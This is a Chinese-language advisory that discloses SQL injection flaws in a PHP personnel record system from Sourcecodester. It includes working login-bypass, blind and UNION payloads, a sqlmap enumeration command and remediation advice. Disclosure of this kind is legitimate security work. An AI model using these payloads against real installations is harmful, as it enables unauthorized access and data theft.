# Personnel Record Management System SQL注入漏洞 ## 漏洞概述 | 项目 | 内容 | |:---|:---| | **漏洞名称** | Personnel Record Management System SQL Injection Vulnerability | | **漏洞类型** | SQL注入 (SQLi) | | **影响平台** | Sourcecodester (开源代码分享平台,下载量超29,000次) | | **项目链接** | sourcecodester.com/php/5107/record-management-system.html | --- ## 影响范围 ### 受影响组件 - **登录模块**: `index.php` - **用户管理模块**: `add_user.php`, `search_user.php` ### 漏洞详情 #### Root Cause 1: 全局SQL注入 & 认证绕过 - **漏洞文件**: `index.php` (第38-47行) - **问题**: 认证查询使用直接字符串拼接,未对`$UserName`和`$Password`参数进行过滤 - **风险**: 攻击者可注入任意SQL逻辑,完全绕过认证机制获取管理员后台访问权限 #### Root Cause 2: 模糊搜索SQL注入 - **漏洞文件**: `search_user.php` (第142-147行) - **问题**: `search` POST参数直接嵌入SQL `LIKE`子句,无任何预处理 - **风险**: 支持布尔盲注、时间盲注、UNION注入等多种攻击方式 --- ## POC代码/利用载荷 ### 1. 全局SQL注入 & 认证绕过 | 类型 | 载荷 | |:---|:---| | **布尔盲注** | `UserName=123' RLIKE (SELECT (CASE WHEN (1470=1470) THEN 123 ELSE 0x28 END))-- GxAC&Password='OR '1'='1&Login=` | | **时间盲注** | `UserName=123' AND (SELECT 4771 FROM (SELECT(SLEEP(5)))xADf)-- GwA&Password='OR '1'='1&Login=` | **结果**: 攻击者成功绕过登录机制进入管理后台 --- ### 2. 模糊搜索SQL注入 | 类型 | 载荷 | |:---|:---| | **布尔盲注** | `search=-5641' OR 7541=7541#` | | **时间盲注** | `search=test' AND (SELECT 8891 FROM (SELECT(SLEEP(5)))fApJ)-- Vozp` | | **UNION注入** | `search=test' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767171,0x614364d9544e0668d01407a5885466576876e654656255556985453455555974524566a784757,0x717a787a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#` | --- ### SQLMap验证命令 ```bash sqlmap -r search_req.txt -p search --dbs --batch ``` --- ## 修复方案 | 优先级 | 措施 | 说明 | |:---|:---|:---| | 1 | **补丁管理** | 密切关注官方安全公告,及时部署安全补丁 | | 2 | **使用预处理语句** | 完全弃用直接字符串拼接,改用PDO或MySQLi参数化查询,严格分离代码逻辑与用户数据 | | 3 | **严格输入验证** | 遵循"永不信任外部输入"原则,对所有前后端数据交换实施严格类型验证和过滤 | | 4 | **最小权限原则** | 为系统分配独立数据库账户,仅授予必要读写权限;禁止root连接数据库 | | 5 | **环境配置与监控** | 生产环境禁用PHP错误显示(`display_errors = off`);部署WAF拦截常见注入攻击;定期安全代码审计 |